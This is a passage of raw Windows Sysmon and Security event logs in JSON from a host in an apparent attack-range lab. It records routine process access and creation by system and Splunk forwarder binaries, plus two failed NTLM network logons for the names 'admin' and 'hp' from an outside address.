C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.953\r\nSourceProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nSourceProcessId: 3620\r\nSourceThreadId: 3632\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.953","SourceProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","SourceProcessId":"3620","SourceThreadId":"3632","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221509,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61871\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221510,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tNULL\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62027\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"NULL","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62027","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.473\r\nProcessGuid: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nProcessId: 3996\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.473","ProcessGuid":"{90617006-3FF0-5F2D-0000-0010E9730300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 